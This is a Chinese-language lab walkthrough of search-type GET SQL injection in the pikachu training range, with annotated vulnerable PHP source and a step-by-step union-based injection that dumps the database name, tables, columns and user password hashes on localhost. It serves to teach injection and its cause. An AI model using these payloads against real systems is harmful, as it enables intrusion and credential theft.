pikachu靶场通关笔记20 SQL注入03-搜索型注入(GET)
目录
一、SQL注入
二、搜索型注入
三、源码分析
1、渗透思路1
2、渗透思路2
四、渗透实战
1、渗透准备
2、SQL注入探测
(1)输入百分号单引号
(2)万能注入语句
3、获取回显列orderby
4、获取数据库名database
5、获取表名table
6、获取列名column
7、获取字段
本系列为通过《pikachu靶场通关笔记》的SQL注入关卡(共10关)渗透集合,通过对搜索型注入关卡源码的代码审计找到SQL安全风险的真实原因,讲解搜索型注入的原理并进行渗透实践,本文为SQL注入03之搜索型注入关卡的渗透部分。
一、SQL注入
SQL注入是指攻击者通过在Web应用程序的输入字段(如表单、URL参数、Cookie等)中插入恶意的SQL语句片段,当应用程序将这些输入直接拼接到SQL查询语句中并执行时,攻击者插入的恶意SQL语句会被执行,从而实现对数据库的非法操作。
二、搜索型注入
搜索型注入是SQL注入的一种特殊形式,主要出现在网站搜索功能中,具有独特的攻击特点和利用方式。搜索型注入的基本特征大概如下所示。
-
出现场景:搜索框、筛选条件、动态查询等需要用户输入查询条件的功能
-
SQL模式:通常使用
LIKE
、CONCAT
等字符串操作函数 -
输入处理:用户输入往往被包裹在百分号(
%
)或引号中
三、源码分析
打开pikachu靶场的SQL注入-字符型关卡对应的源码sqli_search.php,很明显查询语句没有对GET方法传入的参数name进行过滤,存在SQL注入风险,具体如下所示。
这段 PHP 代码的主要功能是处理一个通过 GET 方法提交的表单。当用户在 URL 中传递 submit 参数且 name 参数不为空时,代码会将用户输入的 name 作为条件,从 member 表中查询对应的 id 和 email 信息。如果查询到结果,则将用户的 id 和 email 信息以 HTML 段落的形式显示出来;如果没有查询到结果,则提示用户输入的 username 不存在。同时,代码还会根据当前脚本文件名设置导航栏的激活状态,并包含项目的头部文件、配置文件、功能函数文件和 MySQL 操作文件。
<?php
// 调用 connect 函数建立与数据库的连接,并将连接对象赋值给变量 $link
$link = connect();// 初始化两个用于存储 HTML 内容的变量,$html1 用于存储查询结果相关的 HTML,$html2 用于存储提示信息相关的 HTML
$html1 = '';
$html2 = '';// 检查是否通过 GET 方法提交了表单,并且表单中名为 'name' 的字段不为空
if (isset($_GET['submit']) && $_GET['name'] != null) {// 从 GET 请求中获取名为 'name' 的字段的值,并将其赋值给变量 $name$name = $_GET['name'];// 构造一个 SQL 查询语句,使用 LIKE 关键字进行模糊匹配,将用户输入的 $name 直接拼接到查询语句中// 此查询的目的是从 member 表中选取 username 包含用户输入值的记录的 username、id 和 email 字段$query = "select username,id,email from member where username like '%$name%'";// 调用 execute 函数执行构造好的 SQL 查询,$link 是数据库连接对象$result = execute($link, $query);// 检查查询结果集中的行数是否大于等于 1// mysqli_num_rows 函数用于获取结果集中的行数if (mysqli_num_rows($result) >= 1) {// 这里存在 XSS(跨站脚本攻击)风险,直接将用户输入的 $_GET['name'] 输出到 HTML 中$html2 .= "<p class='notice'>用户名中含有{$_GET['name']}的结果如下:<br />";// 当结果集中有记录时,使用 while 循环逐行获取结果集的数据// mysqli_fetch_assoc 函数会以关联数组的形式返回结果集中的一行数据while ($data = mysqli_fetch_assoc($result)) {// 从关联数组 $data 中获取 'username' 字段的值,并赋值给变量 $uname$uname = $data['username'];// 从关联数组 $data 中获取 'id' 字段的值,并赋值给变量 $id$id = $data['id'];// 从关联数组 $data 中获取 'email' 字段的值,并赋值给变量 $email$email = $data['email'];// 将用户信息拼接成 HTML 字符串,添加到变量 $html1 中$html1 .= "<p class='notice'>username:{$uname}<br />uid:{$id} <br />email is: {$email}</p>";}} else {// 如果结果集中没有记录,将提示信息拼接成 HTML 字符串,添加到变量 $html1 中$html1 .= "<p class='notice'>0o。..没有搜索到你输入的信息!</p>";}
}
?>
此代码存在 SQL 注入安全风险的根本原因在于对用户输入的 $name 没有进行任何过滤和验证,就直接将其拼接到 SQL 查询语句里。由于使用了 LIKE 关键字进行模糊匹配,且 $name 被包含在单引号和 % 之间,攻击者可以利用这一特性构造恶意输入。
select username,id,email from member where username like '%$name%'
1、渗透思路1
攻击者在 URL 中输入 ?submit=搜索&name=xxx%' OR '1'='1 ,实际执行的 SQL 查询如下所示。
select username,id,email from member where username like '%xxx%' OR '1'='1'
因为 '1'='1'
恒为真,这个查询会返回 member
表中的所有记录,攻击者借此就能获取到所有用户的username,id
和 email
信息。
2、渗透思路2
也可以URL 中输入 ?submit=搜索&name=xxx%' OR 1=1#,其中#注释掉了原本的单引号,实际执行的 SQL 查询如下所示。
select username,id,email from member where username like '%xxx%' OR 1=1#'
四、渗透实战
1、渗透准备
打开靶场SQL注入第三关搜索型注入,完整URL链接如下所示。
http://127.0.0.1/pikachu/vul/sqli/sqli_search.php
输入已知账户“lili”,页面显示了用户名、用户id和邮箱信息,这与代码审计的分析一致。根据此时URL地址可知GET方法传入的参数为name。
http://127.0.0.1/pikachu/vul/sqli/sqli_search.php?name=lili&submit=%E6%90%9C%E7%B4%A2
2、SQL注入探测
(1)输入百分号单引号
根据源码我们知道name为字符型注入点,那么我们从页面上能否发现有SQL注入呢?其实也是可疑的,在lili加上单引号,报错信息说明有注入风险,如下所示。
lili%'
完整的报错信息为“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%'' at line 1”。
(2)万能注入语句
接下来尝试万能注入语句,判断闭合语句,在数字后加上单引号 or= 1=1#万能注入语句,其中单引号是为了构造闭合,如下所示。
lili%' or 1=1#
3、获取回显列orderby
使用order by判断其可回显的字段,如下所示最终判断其回显列数为3个。
lili%' order by 5#
lili%' order by 3#
lili%' union select 1,2,3#
由于回显位共3个,且通过orderby获知仅有3列,故而可知这3列已经全部显示出来了,即第一个回显位、第二个回显位和第三个回显位都有效。
4、获取数据库名database
lili%' union select database(),user(),version()#
输入lili' union select database(),user(),version()#后注入成功,显示信息为3个,第一个获取到数据库名为pikachu,第二个获取到用户为root@localhost,第三个获取到版本号为5.7.26,具体如下所示。
接下来修改union前面的字符串,使前面内容为不存在的用户名,使只输出union后面的内容。
-1%' union select database(),user(),version()#
输入id=-1 union select database(),user(),version()#后注入成功,显示信息为1个,可以直接获取到数据库名为pikachu,用户名为root@localhost,版本号为5.7.26,具体如下所示。
5、获取表名table
对pikchu数据库中表名进行爆破,注入命令如下所示。
id=-1%' union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu'#
渗透后获取到数据库pikachu表有4个table,分别为httpinfo,member,message,users,xssblind,如下所示。
6、获取列名column
对pikchu数据库中users表中的列名进行爆破,注入命令如下所示。
-1%' union select 1,group_concat(column_name) from information_schema.columns where table_schema="pikachu" and table_name='users'#
渗透后获取到数据库users表有4个column列,分别为id,username,password,level,如下所示。
7、获取字段
对pikachu数据库中users表的username、password列进行爆破,命令如下所示。
-1%' union select 1,2,group_concat(username,':',password) from pikachu.users#
渗透后获取到数据库users表的username、password字段如下所示,渗透成功。
admin:e10adc3949ba59abbe56e057f20f883e,pikachu:670b14728ad9902aecba32e22fa4f6bd,test:e99a18c428cb38d5f260853678922e03
相关文章:

pikachu靶场通关笔记20 SQL注入03-搜索型注入(GET)
目录 一、SQL注入 二、搜索型注入 三、源码分析 1、渗透思路1 2、渗透思路2 四、渗透实战 1、渗透准备 2、SQL注入探测 (1)输入百分号单引号 (2)万能注入语句 3、获取回显列orderby 4、获取数据库名database 5、获取…...

产品笔试专业名词梳理
目录 产品常识 四种常见广告形式 贴片广告 中插广告 信息流广告 横幅广告 BAT和TMD BAT TMD 付费渗透率 蓝海市场、红海市场 蓝海市场 红海市场 竞品研究 SWOT分析 SWOT分析的核心目的: SWOT分析的优点: SWOT分析的局限与注意事项&…...

【前端】es6相关,柯里化
0. 严格模式 严格模式的概念从ES6引进。通过严格模式,可以在函数内部选择进行较为严格的全局或局部的错误条件检测。 MDN中严格模式的描述 严格模式通过抛出错误来消除了一些原有静默错误严格模式修复了一些导致 JavaScript引擎难以执行优化的缺陷:有时…...

51单片机基础部分——矩阵按键检测
前言 上一节,我们说到了独立按键的检测以及使用,但是独立按键每一个按键都要对应一个IO口进行检测,在一些需要多按键的情况下,使用过多的独立按键会过多的占用单片机的IO资源,为了解决这个问题的出现,我们…...
onSaveInstanceState() 和 ViewModel 在数据保存能力差异
一、设计目标差异 维度onSaveInstanceState()ViewModel核心目的保存 瞬态 UI 状态(如用户输入、滚动位置),应对进程意外终止或配置变更。管理 业务逻辑相关数据,在配置变更时保留数据࿰…...

SpringBoot2.3.1集成Knife4j接口文档
首先要查看项目中pom文件里面有没有swagger和knife4j的依赖,如果有的话删除,加入以下依赖 <!-- swagger --><dependency><groupId>com.github.xiaoymin</groupId><artifactId>knife4j-openapi3-spring-boot-starter</…...
Java Fork/Join框架:三大核心组件深度解析
ForkJoinTask、ForkJoinWorkerThread 和 ForkJoinPool 构成了 Java 中 Fork/Join 框架的三个核心组件,它们之间形成了紧密的协作关系,共同提供了高效的并行计算能力。 三者关系概述 ForkJoinPool:执行环境,管理工作线程和任务调…...
【envoy】-1.安装与下载源码
1.安装 建议使用ubuntu2004,对glibc有要求。上个ti子更快。 wget -O- https://apt.envoyproxy.io/signing.key | sudo gpg --dearmor -o /etc/apt/keyrings/envoy-keyring.gpg $ echo "deb [arch$(dpkg --print-architecture) signed-by/etc/apt/keyrings/envo…...
B站的视频怎么下载下来——Best Video下载器
B站(哔哩哔哩)作为国内最受欢迎的视频平台之一,聚集了无数优质内容:动漫番剧、游戏实况、学习课程、纪录片、Vlog、鬼畜剪辑……总有那么些视频让人想反复观看、离线观看,甚至剪辑创作。 但你是否遇到过这样的烦恼&am…...
Mysql-定时删除数据库中的验证码
Moudle 1 使用调度器定时删除事件 数据库实现验证码自动删除的解决方案 -- 删除旧事件(如果存在) DROP EVENT IF EXISTS delete_expired_captchas;-- 创建新事件(每分钟执行一次) CREATE EVENT delete_expired_captchas ON SCHE…...

容器安全最佳实践:云原生环境下的零信任架构实施
📋 目录 引言:容器安全的重要性零信任架构基础理论云原生环境的安全挑战容器安全威胁模型分析零信任架构在容器环境中的实施关键技术组件与工具安全策略与最佳实践监控与响应机制案例研究与实施路径未来发展趋势 引言 随着容器技术和云原生架构的快速…...

[BIOS]VSCode zx-6000 编译问题
前提:Python 3.6.6及以上版本安装成功,Python 3.6.6路径加到了环境变量# DEVITS工具包准备好 问题:添加环境变量 1:出现环境变量错误,“py -3” is not installed or added to environment variables #先在C:\Windows里…...
MySQL连接报SSL错误
问题(cmd) C:\Users>mysql -h xx.xx.xx.xx -u root -p Enter password: ERROR 2026 (HY000): SSL connection error: error:0A000102:SSL routines::unsupported protocol 解决方案 1. 临时禁用 SSL 连接(不推荐生产环境使用࿰…...
在WPF项目中集成Python:Python.NET深度实战指南
随着Python在数据分析、机器学习、自动化等领域的广泛应用,越来越多的.NET开发者希望在WPF桌面应用中调用Python代码,实现两者优势互补。Python.NET(pythonnet)作为连接.NET与Python的桥梁,提供了强大的跨语言调用能力…...
Nuxt.js 布局系统详解:构建可复用页面框架
Nuxt.js 是一个基于 Vue.js 的强大框架,旨在简化开发流程并提高项目的可维护性。布局系统是 Nuxt.js 项目结构中的一个重要组成部分,它位于 layouts 目录下,帮助开发者实现页面间的统一风格和结构复用。 什么是 Nuxt.js 布局系统 Nuxt.js 提…...

CICD实战(二)-----gitlab的安装与配置
1、安装gitlab所需要的依赖包与工具 sudo yum install wget net-tools sudo yum install curl policycoreutils openssh-server openssh-clients postfix -y 2、配置清华源 vim /etc/yum.repo.d/gitlab-ce.repo[gitlab-ce] namegitlab-ce baseurlhttp://mirrors.tuna.tsin…...

[GitHub] 优秀开源项目
1 工具类 1.1 桌面猫咪互动 BongoCat...

Linux中su与sudo命令的区别:权限管理的关键差异解析
💝💝💝欢迎莅临我的博客,很高兴能够在这里和您见面!希望您在这里可以感受到一份轻松愉快的氛围,不仅可以获得有趣的内容和知识,也可以畅所欲言、分享您的想法和见解。 推荐:「storms…...

《从零掌握MIPI CSI-2: 协议精解与FPGA摄像头开发实战》-- CSI-2 协议详细解析LLP (二)
低层协议(Low Level Protocol, LLP)详细解析 1. 低层协议(Low Level Protocol, LLP)核心特性 包基础 :基于字节的包协议,支持 短包 (32位)和 长包 (可变长度࿰…...

第4天:RNN应用(心脏病预测)
🍨 本文为🔗365天深度学习训练营 中的学习记录博客🍖 原作者:K同学啊 目标 具体实现 (一)环境 语言环境:Python 3.10 编 译 器: PyCharm 框 架: Pytorch (二)具体步骤…...
Python训练day40
知识点回顾: 彩色和灰度图片测试和训练的规范写法:封装在函数中 展平操作:除第一个维度batchsize外全部展平 dropout操作:训练阶段随机丢弃神经元,测试阶段eval模式关闭dropout 作业:仔细学习下测试和训练…...
湖北理元理律师事务所:债务优化中的民生保障实践
在债务纠纷数量年增21%(2023年最高人民法院数据)的背景下,法律服务机构如何平衡债务清偿与民生保障,成为行业重要课题。湖北理元理律师事务所通过“法律金融心理”三维服务模式,探索出一条可持续的债务化解路径。 一、…...
Vue-Todo-list 案例
一、前言 在前端开发中,Todo List(待办事项列表) 是一个非常经典的入门项目。它涵盖了组件化思想、数据绑定、事件处理、本地存储等核心知识点,非常适合用来练习 Vue 的基本用法。 本文将带你一步步实现一个功能完整的 Vue Todo…...

GIC700概述
GIC-700是用于处理外设与处理器核之间,以及核与核之间中断的通用中断控制器。GIC-700支持分布式微体系结构,其中包含用于提供灵活GIC实现的几个独立块。 GIC700支持GICv3、GICv3.1、GICv4.1架构。 该微体系结构规模可从单核到互联多chip环境࿰…...
动静态库的使用(Linux)
1.库 通俗来说,库就是现有的,可复用的代码,例如:在C/C语言编译时,就需要依赖相关的C/C标准库。本质上来说库是一种可执行代码的二进制形式,可以被操作系统载入内存执行。通常我们可以在windows下看到一些后…...
Flutter、React Native 项目如何搞定 iOS 上架?从构建 IPA 到上传 App Store 的实战流程全解析
你可能会认为:用了跨平台框架(如 Flutter 或 React Native),开发效率提高了,发布流程也该更轻松才对。 但当我第一次要将一个 Flutter 项目发布到 App Store 时,现实给了我一巴掌: “没有 Mac&…...

统信桌面专业版如何使用python开发平台jupyter
哈喽呀,小伙伴们 最近有学员想了解在统信UOS桌面专业版系统上开发python程序,Anaconda作为python开发平台,anaconda提供图形开发平台,提供大量的开发插件和管理各种插件的平台,但是存在版权问题,有没有其他工具可以替代Anaconda呢…...
移除元素-JavaScript【算法学习day.04】
题目链接:27. 移除元素 - 力扣(LeetCode) 第一种思路 标签:拷贝覆盖 主要思路是遍历数组 nums,每次取出的数字变量为 num,同时设置一个下标 ans 在遍历过程中如果出现数字与需要移除的值不相同时ÿ…...
Android 相对布局管理器(RelativeLayout)
俩重要属性 android:gravity android:ignoreGravity Android 相对布局管理器:自由排列的魔法布局 想象一下,你是一个室内设计师,需要在一个房间里摆放家具。RelativeLayout(相对布局)就像是一个 "自由摆放"…...
DuckDB + Spring Boot + MyBatis 构建高性能本地数据分析引擎
DuckDB 是一款令人兴奋的内嵌式分析型数据库 (OLAP),它为本地数据分析和处理带来了前所未有的便捷与高效 🚀。它无需外部服务器,可以直接在应用程序进程中运行,并提供了强大的 SQL 支持和列式存储带来的高性能。 什么是 DuckDB&am…...